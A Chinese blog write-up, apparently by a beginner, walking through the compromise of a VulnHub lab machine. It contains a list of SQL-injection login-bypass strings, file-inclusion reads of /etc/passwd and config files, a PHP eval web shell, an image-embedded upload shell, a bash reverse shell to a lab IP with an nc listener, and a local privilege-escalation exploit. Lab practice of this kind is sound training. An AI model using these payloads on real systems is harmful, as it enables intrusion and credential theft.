大庆网站建设google浏览器网页版
我是啊锋,一个努力的学渣,作为一个刚进入安全大门的小白,我希望能把自己所学到的东西总结出来,分享到博客上,可以一起进步,一起交流,一起学习。
建议
关于vulnhub的靶机,我建议vmbox和vmware两个容器可以切换着来用,有时候vmbox装载靶机之后可能没有IP映射出来,导致你发现不了靶机的地址。当你搞了很久,切换配置Nat或桥接网卡也无法成功时,我建议直接用vmware作为靶机的容器。说不定就成功了。
实验过程总结
1.探测存活主机后扫描端口,发现只开放了22和80端口,进入80端页面发现提示用sql注入技巧, 但由于信息不过不知道其防御的方法。
2.dirb用大字典扫描后发现了几个十分有用的目录,根据test目录的提示,用文件包含漏洞获取许 多关键的源码的信息。这里可以用hackbar、burpsuit、也可以用kali的curl工具获取源码
3.根据以上两点,我们可以得到root的账号密码、sql注入的防御绕过、数据库连接的账号密码
4.第一个思路:利用phpmyadmin默认配置的文件夹(config.inc.php)得到的root账号密码进行 ssh连接,并且连接成功
5.第二个思路:根据sqll注入源码的防御绕过思路,在万能密码后构造’绕过,成功进入界面,通 过文件上传漏洞和echo “bash -i >& /dev/tcp/192.168.10.145/1234 0>&1” | bash 反shell得到权限
6.第三个思路:利用数据库连接的账号密码登录数据库管理,在auto处发现sql注入页面的账号密 码,得到权限方法和思路二一样。
7.如果简单来说的话,这题通过文件包含和phpmyadmin默认的配置文件:config.inc.php得到 root账号密码就结束了。但如果想复杂点做的话,可以参考思路二,提权那一块可能要去下载一些
Ubuntu著名的本地提权漏洞exp,通过赋予执行权限chmod 777 37292.c编译exp gcc 37292.c -o
exp执行exp,提权至root
渗透靶机复现
因为我kali的Nat网络配置设置为第二个网卡eth1,并且靶机也是nat网络,所以我这次探测存活的主机是 netdiscover -i eth1 -r 192.168.10.0/24
还是老方法,对该靶机进行端口开放探测
nmap -sS -p 1-65535 --open 192.168.10.146
只开放了22和80端口,进网页看看,提示让我进行sql注入
思路
1:尝试常见的弱口令爆破(但不知道用户名是什么虽然没有限制次数也没有验证码,但尝试过并不成功)
2:这里附上我总结的万能密码(见仁见智),很简单,直接添加到burp然后爆破就行,或者你一个一个试也行,但发现并不能成功登录,暂时还不知道他是什么规则的绕过
"or "a"="a ')or('a'='a or 1=1-- 'or 1=1-- a'or' 1=1-- "or 1=1-- 'or'a'='a
"or"="a'='a 'or''=' 'or'='or' 1 or '1'='1'=1 1 or '1'='1' or 1=1 'OR 1=1 "or 1=1
'xor 1'or'1'='1 'or 1=1/* admin' or 1=1 or ''=' admin' or '1'='1' --
3:直接把包扔进sqlmap跑。
4:不玩了关机
因为上面思路4个点都没有做到,只能从其他方面入手,毕竟是个刚入门的脚本小子,直接把url扔工具里就好了,dirb扫一下目录看看。
dirb http://192.168.10.146 /usr/share/dirb/wordlists/big.txt
使用大字典扫目录,发现有很多目录扫了出来
这些文件里头比较有用的主要是in(暴露了配置信息)、test(提示了file)、add(一个文件上传的页面)、phpmy(数据库登录页面)、uploaded_images(图片文件夹)但发现add和uploaded_images好像并没什么用处,add的上传页面和后端并没有联系。
在test页面,提示了用file文件包含
在url上输入?file=etc/passwd,发现并没有显示
可能是post传输,我用的是burp,抓包后Repeater然后右键change request method后下方添加file=/etc/passwd,发现的确可以读取到文件信息。
(当然也可以在kali上用 curl -X POST –f “ file = / etc / passwd” http://192.168.10.146/test)
读取一下其他文件的内容和源码file=index.php
if($_SESSION['logged']==true && $_SESSION['admin']!='')
{echo "you are logged in :)";header('Location: panel.php', true, 302);
}
如果登录成功,将会跳转到panel.php这个登录页面。
$uname=str_replace('\'','',urldecode($_POST['un']));$pass=str_replace('\'','',urldecode($_POST['ps']));
意思就是将uname和pass传进去的值通过urldecode编码之后,将字符中的\’替换成空格
然后继续其他文件,读取c.php文件得到了数据库连接文件,发现mysql连接用户名密码:
用户名:billu
密码:b0x_billu
数据库名:ica_lab
由于phpmyadmin的默认的配置文件是:config.inc.php。需要猜测路径,通过URL猜测路径默认在/var/www/phpmy下面
得到了root、roottoor账号密码
总结一下所获得信息
1:开放了22ssh和80http端口
2.文件包含漏洞获取到etc/passwd下有root账号,并且在phpmyadmin的默认文件下找到该密码是roottoor
3.sql注入页面可以通过\’进行绕过登录,登录成功后会跳转到panle.php页面
4.在c.php下得到mysql连接用户名密码:用户名:billu密码:b0x_billu数据库名:ica_lab
攻击思路一:ssh远程连接
现在有root的账号密码,也有数据库连接的用户名billu和密码而且开放了22ssh端口所以,打算用这两个账号登录一下ssh,发现billu登录不了(的确在查看etc/passwd的时候也没有这个账号)用root登录,可以成功而且是最高权限
终极三问之后再查看,可以运行所有权限
直接在根目录下具备可读可写可执行权限的uploaded文件夹下留一句话后门即可
rw-r–r–
rw-表示可读可写,代表所有者u的权限。
第一个r–表示可读,代表所属组g的权限(相同权限的人放在一起就是一组);
第二个r–表示可读,代表其他人o的权限。
r 读 w 写 x 执行
我尝试过用vim写入一句话文本内容,但发现写不成功。
echo '<?php eval($_POST['123456']);?>' >> caidao.php
用以上这条语句可成功写入
攻击思路2:构造payload登录sql注入页面
Payload 账号密码都为‘ or 1=1 – \’,进入页面后发现add user 是一个上传的界面,尝试绕过上传,合成图片一句话木马,直接上传成功
访问uploaded_images/页面,发现已经在图片目录下了
在panel.php的页面点击continu后把post包Resquest,panel.php后加上cmd,load后加上图片的路径即可利用木马
用bash反弹shell
命令:echo “bash -i >& /dev/tcp/192.168.10.145/1234 0>&1″ | bash
进行反shell,但并不成功,于是把这条命令进行Encodeurl编码
kali端监听 nc -lvp 1234 再把包发过去
切换su root权限,输入密码roottoor即可提权
攻击思路3:
用户名:billu密码:b0x_billu数据库名:ica_lab登录到数据库http://192.168.10.146/phpmy
在auth处发现sql注入页面的登录账号密码
登录之后步骤如思路二即可。